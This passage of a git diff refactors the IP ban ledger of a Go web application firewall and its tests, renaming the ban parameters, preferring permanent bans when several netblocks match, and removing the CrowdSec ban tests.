e.CrowdSec + return e.Limit + e.Attack + e.Admin } // markChanged has Changed receive a value, unless one is waiting already. @@ -743,26 +747,39 @@ func (l *Ledger) markChanged() { } // active returns the ban active at now on a netblock client is in, or -// nil. +// nil. If several netblocks have one, it returns a permanent ban when +// there is one. func (l *Ledger) active(client netip.Addr, now time.Time) *Ban { lengths := l.v6Lengths if client.Is4() { lengths = l.v4Lengths } + var first *Ban + for _, length := range lengths { - bans, found := l.netblocks.Get(netip.PrefixFrom(client, length).Masked()) + bans, found := l.netblocks.Get( + netip.PrefixFrom(client, length).Masked(), + ) if !found { continue } ban := activeBan(*bans, now) - if ban != nil { + if ban == nil { + continue + } + + if ban.Permanent() { return ban } + + if first == nil { + first = ban + } } - return nil + return first } // covering returns the bans of each netblock held that client is in, @@ -776,7 +793,9 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban { var found []*[]Ban for _, length := range lengths { - bans, ok := l.netblocks.Peek(netip.PrefixFrom(client, length).Masked()) + bans, ok := l.netblocks.Peek( + netip.PrefixFrom(client, length).Masked(), + ) if ok { found = append(found, bans) } @@ -790,7 +809,7 @@ func (l *Ledger) covering(client netip.Addr) []*[]Ban { // unless ban's cause is CauseAdmin, which does not count toward MaxBans. func (l *Ledger) add(ban Ban) { counted := ban.Cause != CauseAdmin - if counted && l.held == l.rules.MaxBans { + if counted && l.held == l.params.MaxBans { l.dropOne() } @@ -821,33 +840,35 @@ func (l *Ledger) add(ban Ban) { // limitExpiry returns when a ban for a broken limit made at now ends, or // zero when it is permanent. held are the netblock's bans, none of them // active, of which the one that ended last, other than a ban for a clear -// sign of attack or for CrowdSec's decision, or a lifted one, can make the -// new ban longer. A ban an admin adds to bans.json can start after -// another and end before it, so that one is looked for among them all. +// sign of attack or a lifted one, can make the new ban longer. A ban an +// admin adds to bans.json can start after another and end before it, so +// that one is looked for among them all. func (l *Ledger) limitExpiry(held []Ban, now time.Time) time.Time { - length := l.rules.LimitBanDuration + length := l.params.LimitBanDuration var last *Ban for i, ban := range held { - if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && ban.Lifted.IsZero() && + if (ban.Cause == CauseLimit || ban.Cause == CauseAdmin) && + ban.Lifted.IsZero() && (last == nil || ban.Expires.After(last.Expires)) { last = &held[i] } } - if last != nil && now.Sub(last.Expires) <= l.rules.LimitBanRepeatWindow { + if last != nil && + now.Sub(last.Expires) <= l.params.LimitBanRepeatWindow { lastLength := last.Expires.Sub(last.Start) - // This is repeatFactor * lastLength > MaxBanDuration, written so + // This is repeatFactor * lastLength > LimitBanPermanentAbove, written so // that it cannot overflow. - if lastLength > l.rules.MaxBanDuration/repeatFactor { + if lastLength > l.params.LimitBanPermanentAbove/repeatFactor { return time.Time{} } length = repeatFactor * lastLength } - if length > l.rules.MaxBanDuration { + if length > l.params.LimitBanPermanentAbove { return time.Time{} } @@ -865,7 +886,7 @@ func (l *Ledger) attackExpiry(held []Ban, now time.Time) time.Time { } } - return now.Add(l.rules.AttackBanDuration) + return now.Add(l.params.AttackBanDuration) } // dropOne drops the earliest ban whose cause is not CauseAdmin of the diff --git a/internal/bans/bans_test.go b/internal/bans/bans_test.go index 5f7ac11..e3f3b21 100644 --- a/internal/bans/bans_test.go +++ b/internal/bans/bans_test.go @@ -15,7 +15,7 @@ const day = 24 * time.Hour func TestRepeatsTripleUntilPermanent(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") now := midnight() @@ -27,8 +27,14 @@ func TestRepeatsTripleUntilPermanent(t *testing.T) { length := time.Duration(hours) * time.Hour if !ban.Expires.Equal(now.Add(length)) || ban.Notes.EarlierBans != (bans.EarlierBans{Limit: i}) { - t.Fatalf("ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", - i+1, ban.Expires.Sub(now), ban.Notes.EarlierBans, hours, i) + t.Fatalf( + "ban %d lasts %s with earlier bans %+v, want %d hours and %d for a limit", + i+1, + ban.Expires.Sub(now), + ban.Notes.EarlierBans, + hours, + i, + ) } now = ban.Expires @@ -62,51 +68,73 @@ func TestRepeatWindowRunsOut(t *testing.T) { t.Run(tc.name, func(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) - second, _ := ledger.BanForLimit(netblock, first.Expires.Add(tc.gap), bans.Notes{}) + first, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{}, + ) + second, _ := ledger.BanForLimit( + netblock, + first.Expires.Add(tc.gap), + bans.Notes{}, + ) if second.Expires.Sub(second.Start) != tc.want || second.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", - second.Expires.Sub(second.Start), second.Notes.EarlierBans, tc.want) + t.Errorf( + "second ban lasts %s with earlier bans %+v, want %s and 1 for a limit", + second.Expires.Sub( + second.Start, + ), + second.Notes.EarlierBans, + tc.want, + ) } }) } } -func TestFirstBanLongerThanTheMaximumIsPermanent(t *testing.T) { +func TestFirstBanLongerThanLimitBanPermanentAboveIsPermanent(t *testing.T) { t.Parallel() - rules := defaultRules() - rules.LimitBanDuration = rules.MaxBanDuration + time.Hour - ledger := bans.New(rules) + params := defaultParams() + params.LimitBanDuration = params.LimitBanPermanentAbove + time.Hour + ledger := bans.New(params) - ban, _ := ledger.BanForLimit(netip.MustParsePrefix("203.0.113.9/32"), midnight(), - bans.Notes{}) + ban, _ := ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.9/32"), + midnight(), + bans.Notes{}, + ) if !ban.Permanent() { t.Errorf("first ban ends at %s, want a permanent one", ban.Expires) } } -func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { +func TestLimitBanPermanentAboveSetFarOffDoesNotOverflow(t *testing.T) { t.Parallel() - // With bans of up to 100,000 days, the 14th ban in a row, of 3^13 - // hours, is within the maximum, and three times as long would not fit - // in a time.Duration. The 15th is permanent. - rules := defaultRules() - rules.MaxBanDuration = 100000 * day - ledger := bans.New(rules) + // With LimitBanPermanentAbove at 100,000 days, the 14th ban in a row, of + // 3^13 hours, is not above it, and three times as long would not fit in + // a time.Duration. The 15th is permanent. + params := defaultParams() + params.LimitBanPermanentAbove = 100000 * day + ledger := bans.New(params) netblock := netip.MustParsePrefix("203.0.113.9/32") now := midnight() for i := range 14 { ban, _ := ledger.BanForLimit(netblock, now, bans.Notes{}) if !ban.Expires.After(ban.Start) { - t.Fatalf("ban %d starts at %s and ends at %s", i+1, ban.Start, ban.Expires) + t.Fatalf( + "ban %d starts at %s and ends at %s", + i+1, + ban.Start, + ban.Expires, + ) } now = ban.Expires @@ -121,7 +149,7 @@ func TestLongestBanSetFarOffDoesNotOverflow(t *testing.T) { func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") first, made := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) @@ -129,35 +157,64 @@ func TestBrokenLimitDuringABanMakesNoOther(t *testing.T) { t.Error("the first ban was not made") } - again, made := ledger.BanForLimit(netblock, midnight().Add(time.Minute), bans.Notes{}) + again, made := ledger.BanForLimit( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) - if made || !reflect.DeepEqual(again, first) || len(ledger.Bans(netblock)) != 1 { - t.Errorf("a limit broken during a ban gave %+v, made %t, and %d bans, "+ - "want %+v, not made, and 1", again, made, len(ledger.Bans(netblock)), first) + if made || !reflect.DeepEqual(again, first) || + len(ledger.Bans(netblock)) != 1 { + t.Errorf( + "a limit broken during a ban gave %+v, made %t, and %d bans, "+ + "want %+v, not made, and 1", + again, + made, + len(ledger.Bans(netblock)), + first, + ) } - again, made = ledger.BanForAttack(netblock, midnight().Add(time.Minute), bans.Notes{}) + again, made = ledger.BanForAttack( + netblock, + midnight().Add(time.Minute), + bans.Notes{}, + ) if made || !reflect.DeepEqual(again, first) { - t.Errorf("an attack during a ban gave %+v, made %t, want %+v, not made", - again, made, first) + t.Errorf( + "an attack during a ban gave %+v, made %t, want %+v, not made", + again, + made, + first, + ) } } func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Requests: 5}, + ) for range 3 { - got, banned, _ := ledger.Check(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Check( + netblock.Addr(), + ban.Expires.Add(-time.Nanosecond), + ) if !banned || got.Start != ban.Start { t.Fatalf("check during the ban gives %+v and %t", got, banned) } } - _, banned, _ := ledger.Check(netip.MustParseAddr("203.0.113.10"), midnight()) + _, banned, _ := ledger.Check( + netip.MustParseAddr("203.0.113.10"), + midnight(), + ) if banned { t.Error("another netblock is banned") } @@ -178,13 +235,25 @@ func TestCheckRefusesWhileTheBanLastsAndCountsTheRefusals(t *testing.T) { func TestFindCountsNothing(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Requests: 5}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Requests: 5}, + ) - got, banned, _ := ledger.Find(netblock.Addr(), ban.Expires.Add(-time.Nanosecond)) + got, banned, _ := ledger.Find( + netblock.Addr(), + ban.Expires.Add(-time.Nanosecond), + ) if !banned || !reflect.DeepEqual(got, ban) { - t.Errorf("find during the ban gives %+v and %t, want %+v", got, banned, ban) + t.Errorf( + "find during the ban gives %+v and %t, want %+v", + got, + banned, + ban, + ) } _, banned, _ = ledger.Find(netblock.Addr(), ban.Expires) @@ -192,17 +261,26 @@ func TestFindCountsNothing(t *testing.T) { t.Error("the ban did not end") } - if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual(notes, ban.Notes) { - t.Errorf("the notes are %+v, want them unchanged, %+v", notes, ban.Notes) + if notes := ledger.Bans(netblock)[0].Notes; !reflect.DeepEqual( + notes, + ban.Notes, + ) { + t.Errorf( + "the notes are %+v, want them unchanged, %+v", + notes, + ban.Notes, + ) } } -func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { +func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo( + t *testing.T, +) { t.Parallel() - rules := defaultRules() - rules.MaxBans = 3 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 3 + ledger := bans.New(params) a := netip.MustParsePrefix("203.0.113.1/32") b := netip.MustParsePrefix("203.0.113.2/32") c := netip.MustParsePrefix("203.0.113.3/32") @@ -230,7 +308,10 @@ func TestMaxBansDropsTheEarliestBanOfTheNetblockSeenLongestAgo(t *testing.T) { wantBans(t, ledger, map[netip.Prefix]int{a: 1, b: 1, d: 1}) if !ledger.Bans(a)[0].Start.Equal(first.Expires) { - t.Errorf("a kept its ban of %s, want the later one", ledger.Bans(a)[0].Start) + t.Errorf( + "a kept its ban of %s, want the later one", + ledger.Bans(a)[0].Start, + ) } } @@ -239,9 +320,9 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { // With room for one ban, the netblock's ended ban goes to make room for // its new one, whose notes still count it. - rules := defaultRules() - rules.MaxBans = 1 - ledger := bans.New(rules) + params := defaultParams() + params.MaxBans = 1 + ledger := bans.New(params) netblock := netip.MustParsePrefix("203.0.113.9/32") first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) @@ -258,53 +339,82 @@ func TestFullLedgerDropsTheEarlierBanOfTheNetblockBannedAgain(t *testing.T) { func TestRequestDuringAnAttackBanMakesItPermanent(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") notes := bans.Notes{RuleID: "env-file", Target: "path"} ban, _ := ledger.BanForAttack(netblock, midnight(), notes) - if !ban.Expires.Equal(midnight().Add(7*day)) || ban.Cause != bans.CauseAttack || - ban.Notes.RuleID != "env-file" || ledger.Made(bans.CauseAttack) != 1 || + if !ban.Expires.Equal(midnight().Add(7*day)) || + ban.Cause != bans.CauseAttack || + ban.Notes.RuleID != "env-file" || + ledger.Made(bans.CauseAttack) != 1 || ledger.Made(bans.CauseLimit) != 0 { - t.Fatalf("the ban is %+v, with %d made for an attack and %d for a limit, "+ - "want one for an attack, of seven days", ban, - ledger.Made(bans.CauseAttack), ledger.Made(bans.CauseLimit)) + t.Fatalf( + "the ban is %+v, with %d made for an attack and %d for a limit, "+ + "want one for an attack, of seven days", + ban, + ledger.Made(bans.CauseAttack), + ledger.Made(bans.CauseLimit), + ) } wantChanged(t, ledger, true) // In observe mode the ban refuses nothing, and stays as it is, while // Find tells that the request would have made it permanent. - got, _, wouldMakePermanent := ledger.Find(netblock.Addr(), midnight().Add(time.Hour)) - if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || !wouldMakePermanent { - t.Fatalf("a request found under the ban left it %+v, would have made it "+ - "permanent %t, want it as it was, and true", got, wouldMakePermanent) + got, _, wouldMakePermanent := ledger.Find( + netblock.Addr(), + midnight().Add(time.Hour), + ) + if got.Permanent() || ledger.Bans(netblock)[0].Permanent() || + !wouldMakePermanent { + t.Fatalf( + "a request found under the ban left it %+v, would have made it "+ + "permanent %t, want it as it was, and true", + got, + wouldMakePermanent, + ) } wantChanged(t, ledger, false) // A request it refuses makes it permanent, says so, and makes // bans.json due. - got, _, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(time.Hour)) - if !madePermanent || !got.Permanent() || !ledger.Bans(netblock)[0].Permanent() { - t.Fatalf("after a request during the ban, it is %+v, made permanent %t, "+ - "want it made permanent", got, madePermanent) + got, _, madePermanent := ledger.Check( + netblock.Addr(), + midnight().Add(time.Hour), + ) + if !madePermanent || !got.Permanent() || + !ledger.Bans(netblock)[0].Permanent() { + t.Fatalf( + "after a request during the ban, it is %+v, made permanent %t, "+ + "want it made permanent", + got, + madePermanent, + ) } wantChanged(t, ledger, true) // The next request finds it permanent already. - _, banned, madePermanent := ledger.Check(netblock.Addr(), midnight().Add(100*365*day)) + _, banned, madePermanent := ledger.Check( + netblock.Addr(), + midnight().Add(100*365*day), + ) if !banned || madePermanent { - t.Errorf("a later request is banned %t, and made the ban permanent %t, "+ - "want banned by the permanent ban", banned, madePermanent) + t.Errorf( + "a later request is banned %t, and made the ban permanent %t, "+ + "want banned by the permanent ban", + banned, + madePermanent, + ) } } func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") // A ban for a broken limit before does not count. @@ -325,7 +435,11 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { // Its notes show the earlier ban for an attack that makes it permanent, // beside the one for a limit. - third, _ := ledger.BanForAttack(netblock, second.Expires.Add(30*day), bans.Notes{}) + third, _ := ledger.BanForAttack( + netblock, + second.Expires.Add(30*day), + bans.Notes{}, + ) if !third.Permanent() || third.Notes.EarlierBans != (bans.EarlierBans{Limit: 1, Attack: 1}) { t.Errorf("the next ban for an attack is %+v, want a permanent one, "+ @@ -336,16 +450,24 @@ func TestAttackAfterAnAttackBanHasEndedBansPermanently(t *testing.T) { func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") first, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{}) wantChanged(t, ledger, true) // While the first ban lasts, none would be made. - during, would := ledger.WouldBanForAttack(netblock, midnight(), bans.Notes{}) + during, would := ledger.WouldBanForAttack( + netblock, + midnight(), + bans.Notes{}, + ) if would || !reflect.DeepEqual(during, first) { - t.Errorf("during the first ban, would ban %t with %+v, want false with %+v", - would, during, first) + t.Errorf( + "during the first ban, would ban %t with %+v, want false with %+v", + would, + during, + first, + ) } // As it ends, a clear sign of attack would ban for seven days, and a @@ -353,19 +475,31 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { limitNotes := bans.Notes{Kind: "requests", Limit: 1, Window: "minute"} attack, wouldAttack := ledger.WouldBanForAttack(netblock, first.Expires, bans.Notes{RuleID: "git-dir"}) - limit, wouldLimit := ledger.WouldBanForLimit(netblock, first.Expires, limitNotes) + limit, wouldLimit := ledger.WouldBanForLimit( + netblock, + first.Expires, + limitNotes, + ) if !wouldAttack || !attack.Expires.Equal(first.Expires.Add(7*day)) || attack.Reason != "matched the rule git-dir" || !wouldLimit || !limit.Expires.Equal(first.Expires.Add(3*time.Hour)) || limit.Reason != "requests per minute over the limit of 1" { - t.Errorf("would ban with %+v and %+v, want seven days for the attack and "+ - "three hours for the limit", attack, limit) + t.Errorf( + "would ban with %+v and %+v, want seven days for the attack and "+ + "three hours for the limit", + attack, + limit, + ) } - if len(ledger.Bans(netblock)) != 1 || ledger.Made(bans.CauseLimit) != 1 || + if len(ledger.Bans(netblock)) != 1 || + ledger.Made(bans.CauseLimit) != 1 || ledger.Made(bans.CauseAttack) != 0 { - t.Errorf("the ledger holds %+v, want the first ban alone", ledger.Bans(netblock)) + t.Errorf( + "the ledger holds %+v, want the first ban alone", + ledger.Bans(netblock), + ) } wantChanged(t, ledger, false) @@ -380,7 +514,7 @@ func TestWouldBanGivesTheBanWithoutMakingIt(t *testing.T) { func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") now := midnight() @@ -414,7 +548,7 @@ func TestWouldBePermanentAnswersAsTheBanWouldBeMade(t *testing.T) { func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") // Three times the seven days would be permanent; a limit broken as the @@ -422,7 +556,8 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { attack, _ := ledger.BanForAttack(netblock, midnight(), bans.Notes{}) limit, _ := ledger.BanForLimit(netblock, attack.Expires, bans.Notes{}) - if limit.Expires.Sub(limit.Start) != time.Hour || limit.Cause != bans.CauseLimit { + if limit.Expires.Sub(limit.Start) != time.Hour || + limit.Cause != bans.CauseLimit { t.Errorf("the ban for a limit is %+v, want one of an hour", limit) } @@ -436,29 +571,37 @@ func TestAttackBanDoesNotLengthenTheNextBanForALimit(t *testing.T) { func TestRequestTextsAreCutTo256Bytes(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") long := strings.Repeat("a", 300) request := bans.Request{ Time: midnight(), Method: long, Host: long, Path: long, Status: 403, UserAgent: long, } - ban, _ := ledger.BanForLimit(netblock, midnight(), bans.Notes{Request: request}) + ban, _ := ledger.BanForLimit( + netblock, + midnight(), + bans.Notes{Request: request}, + ) cut := long[:256] want := bans.Request{ Time: midnight(), Method: cut, Host: cut, Path: cut, Status: 403, UserAgent: cut, } - if ban.Notes.Request != want || ledger.Bans(netblock)[0].Notes.Request != want { - t.Errorf("the notes keep %+v, want each text cut to 256 bytes", ban.Notes.Request) + if ban.Notes.Request != want || + ledger.Bans(netblock)[0].Notes.Request != want { + t.Errorf( + "the notes keep %+v, want each text cut to 256 bytes", + ban.Notes.Request, + ) } } func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") other := netip.MustParsePrefix("198.51.100.7/32") @@ -482,26 +625,36 @@ func TestLookupFillsTheNotesOfTheNetblocksBansWithoutOne(t *testing.T) { {ASN: "AS64496", ASName: "Example Net", Country: "DE"}, } { got := held[i].Notes - if got.ASN != want.ASN || got.ASName != want.ASName || got.Country != want.Country { - t.Errorf("ban %d's notes give %q, %q and %q, want %q, %q and %q", i+1, - got.ASN, got.ASName, got.Country, want.ASN, want.ASName, want.Country) + if got.ASN != want.ASN || got.ASName != want.ASName || + got.Country != want.Country { + t.Errorf( + "ban %d's notes give %q, %q and %q, want %q, %q and %q", + i+1, + got.ASN, + got.ASName, + got.Country, + want.ASN, + want.ASName, + want.Country, + ) } } - if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || notes.Country != "" { + if notes := ledger.Bans(other)[0].Notes; notes.ASN != "" || + notes.Country != "" { t.Errorf("the ban on %s has %q and %q, want neither", other, notes.ASN, notes.Country) } } -// defaultRules are the rules at the settings' defaults. -func defaultRules() bans.Rules { - return bans.Rules{ - LimitBanDuration: time.Hour, - LimitBanRepeatWindow: day, - MaxBanDuration: 7 * day, - AttackBanDuration: 7 * day, - MaxBans: 5000, +// defaultParams are the params at the settings' defaults. +func defaultParams() bans.Params { + return bans.Params{ + LimitBanDuration: time.Hour, + LimitBanRepeatWindow: day, + LimitBanPermanentAbove: 7 * day, + AttackBanDuration: 7 * day, + MaxBans: 5000, } } diff --git a/internal/bans/crowdsec_test.go b/internal/bans/crowdsec_test.go deleted file mode 100644 index 1a6adfa..0000000 --- a/internal/bans/crowdsec_test.go +++ /dev/null @@ -1,90 +0,0 @@ -package bans_test - -import ( - "net/netip" - "reflect" - "testing" - "time" - - "sneak.berlin/go/smallwebwaf/internal/bans" -) - -// scenario is the scenario of the tests' CrowdSec decisions. -const scenario = "crowdsecurity/ssh-bf" - -func TestCrowdSecBanLastsUntilTheDecisionEnds(t *testing.T) { - t.Parallel() - - ledger := bans.New(defaultRules()) - netblock := netip.MustParsePrefix("203.0.113.9/32") - expires := midnight().Add(4 * time.Hour) - - // The ban that would be made is not made. - would, wouldBan := ledger.WouldBanForCrowdSec(netblock, midnight(), expires, - scenario, bans.Notes{}) - if !wouldBan || len(ledger.Bans(netblock)) != 0 { - t.Errorf("would ban %t, and the ledger holds %+v, want true and nothing", - wouldBan, ledger.Bans(netblock)) - } - - const reason = "CrowdSec's decision for " + scenario - - ban, made := ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, - bans.Notes{}) - if !made || !reflect.DeepEqual(ban, would) || ban.Cause != bans.CauseCrowdSec || - !ban.Expires.Equal(expires) || ban.Reason != reason || - ledger.Made(bans.CauseCrowdSec) != 1 { - t.Errorf("made %t the ban %+v, want the one that would be made, %+v, for "+ - "crowdsec until %s", made, ban, would, expires) - } - - // A second decision on the netblock while the ban lasts makes no other. - again, made := ledger.BanForCrowdSec(netblock, midnight().Add(time.Hour), - expires.Add(time.Hour), scenario, bans.Notes{}) - if made || !again.Expires.Equal(expires) || ledger.Made(bans.CauseCrowdSec) != 1 { - t.Errorf("made %t the ban %+v while the first lasts, want none", made, again) - } -} - -func TestCrowdSecBanIsNeverMadePermanent(t *testing.T) { - t.Parallel() - - ledger := bans.New(defaultRules()) - netblock := netip.MustParsePrefix("203.0.113.9/32") - expires := midnight().Add(4 * time.Hour) - ledger.BanForCrowdSec(netblock, midnight(), expires, scenario, bans.Notes{}) - - // A request as the ban ends is refused, and leaves it as it is. - last := expires.Add(-time.Nanosecond) - - held, banned, madePermanent := ledger.Check(netblock.Addr(), last) - if !banned || madePermanent || !held.Expires.Equal(expires) || - ledger.WouldBePermanent(netblock, last, bans.CauseCrowdSec) { - t.Errorf("as the ban ends, banned %t with %+v, made permanent %t, want "+ - "refused under the ban as it was", banned, held, madePermanent) - } - - if _, banned, _ := ledger.Check(netblock.Addr(), expires); banned { - t.Error("the ban refuses a request once the decision has ended") - } -} - -func TestCrowdSecBanIsCountedAndDoesNotLengthenTheNextBanForALimit(t *testing.T) { - t.Parallel() - - ledger := bans.New(defaultRules()) - netblock := netip.MustParsePrefix("203.0.113.9/32") - - // Three times the three days would be permanent; a limit broken as the - // ban for CrowdSec's decision ends bans for an hour, as a first broken - // limit does. - crowdSec, _ := ledger.BanForCrowdSec(netblock, midnight(), midnight().Add(3*day), - scenario, bans.Notes{}) - limit, _ := ledger.BanForLimit(netblock, crowdSec.Expires, bans.Notes{}) - - if limit.Expires.Sub(limit.Start) != time.Hour || - limit.Notes.EarlierBans != (bans.EarlierBans{CrowdSec: 1}) { - t.Errorf("the ban for a limit is %+v, want one of an hour after one for crowdsec", - limit) - } -} diff --git a/internal/bans/snapshot_test.go b/internal/bans/snapshot_test.go index 2c6ecb4..9a21e7a 100644 --- a/internal/bans/snapshot_test.go +++ b/internal/bans/snapshot_test.go @@ -14,7 +14,7 @@ import ( func TestChangedAfterABanIsMade(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") wantChanged(t, ledger, false) @@ -29,8 +29,16 @@ func TestChangedAfterABanIsMade(t *testing.T) { wantChanged(t, ledger, false) // Two bans before the value is read leave one. - ledger.BanForLimit(netip.MustParsePrefix("203.0.113.10/32"), midnight(), bans.Notes{}) - ledger.BanForLimit(netip.MustParsePrefix("203.0.113.11/32"), midnight(), bans.Notes{}) + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.10/32"), + midnight(), + bans.Notes{}, + ) + ledger.BanForLimit( + netip.MustParsePrefix("203.0.113.11/32"), + midnight(), + bans.Notes{}, + ) wantChanged(t, ledger, true) wantChanged(t, ledger, false) } @@ -38,7 +46,7 @@ func TestChangedAfterABanIsMade(t *testing.T) { func TestSnapshotListsEveryBanByNetblock(t *testing.T) { t.Parallel() - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) v6 := netip.MustParsePrefix("2001:db8::/64") high := netip.MustParsePrefix("203.0.113.10/32") low := netip.MustParsePrefix("203.0.113.9/32") @@ -52,7 +60,10 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) { got := make([]string, 0, len(snapshot)) for _, ban := range snapshot { - got = append(got, ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen)) + got = append( + got, + ban.Netblock.String()+" "+ban.Start.Format(time.Kitchen), + ) } want := []string{ @@ -67,17 +78,20 @@ func TestSnapshotListsEveryBanByNetblock(t *testing.T) { func TestLoadedBansCarryOn(t *testing.T) { t.Parallel() - before := bans.New(defaultRules()) + before := bans.New(defaultParams()) netblock := netip.MustParsePrefix("203.0.113.9/32") ban, _ := before.BanForLimit(netblock, midnight(), bans.Notes{Limit: 1}) // Loaded into a new ledger, as across a restart, the ban still refuses // while it lasts, and once it has ended a broken limit bans for three // times as long, with the loaded ban counted among the earlier ones. - after := bans.New(defaultRules()) + after := bans.New(defaultParams()) after.Load(before.Snapshot()) - _, banned, _ := after.Check(netblock.Addr(), ban.Expires.Add(-time.Second)) + _, banned, _ := after.Check( + netblock.Addr(), + ban.Expires.Add(-time.Second), + ) if !banned { t.Error("the loaded ban does not refuse") } @@ -85,8 +99,11 @@ func TestLoadedBansCarryOn(t *testing.T) { again, _ := after.BanForLimit(netblock, ban.Expires, bans.Notes{}) if again.Expires.Sub(again.Start) != 3*time.Hour || again.Notes.EarlierBans != (bans.EarlierBans{Limit: 1}) { - t.Errorf("the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", - again.Expires.Sub(again.Start), again.Notes.EarlierBans) + t.Errorf( + "the next ban lasts %s with earlier bans %+v, want 3h and 1 for a limit", + again.Expires.Sub(again.Start), + again.Notes.EarlierBans, + ) } } @@ -96,12 +113,22 @@ func TestLoadedBanRefusesEveryClientInItsNetblock(t *testing.T) { // Two entries as an admin might write them, with addresses not masked // to their lengths, the IPv6 one shorter than the /64 an IPv6 client's // ban covers, beside a ban the ledger makes on one IPv4 address. - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{ - {Netblock: netip.MustParsePrefix("203.0.113.9/24"), Start: midnight()}, - {Netblock: netip.MustParsePrefix("2001:db8::1/48"), Start: midnight()}, + { + Netblock: netip.MustParsePrefix("203.0.113.9/24"), + Start: midnight(), + }, + { + Netblock: netip.MustParsePrefix("2001:db8::1/48"), + Start: midnight(), + }, }) - ledger.BanForLimit(netip.MustParsePrefix("198.51.100.7/32"), midnight(), bans.Notes{}) + ledger.BanForLimit( + netip.MustParsePrefix("198.51.100.7/32"), + midnight(), + bans.Notes{}, + ) for client, want := range map[string]bool{ "203.0.113.0": true, @@ -138,14 +165,17 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { // As when an admin adds a permanent ban to bans.json with a start // before that of the netblock's ban that has ended. netblock := netip.MustParsePrefix("203.0.113.0/24") - permanent := bans.Ban{Netblock: netblock, Start: midnight().Add(-time.Hour)} + permanent := bans.Ban{ + Netblock: netblock, + Start: midnight().Add(-time.Hour), + } ended := bans.Ban{ Netblock: netblock, Start: midnight(), Expires: midnight().Add(time.Hour), } - ledger := bans.New(defaultRules()) + ledger := bans.New(defaultParams()) ledger.Load([]bans.Ban{permanent, ended}) now := midnight().Add(2 * time.Hour) @@ -153,27 +183,38 @@ func TestPermanentBanStartedBeforeAnEndedOneRefuses(t *testing.T) { ban, banned, _ := ledger.Find(client, now) if !banned || !ban.Permanent() { - t.Errorf("find gives %+v and %t, want the permanent ban", ban, banned) + t.Errorf( + "find gives %+v and %t, 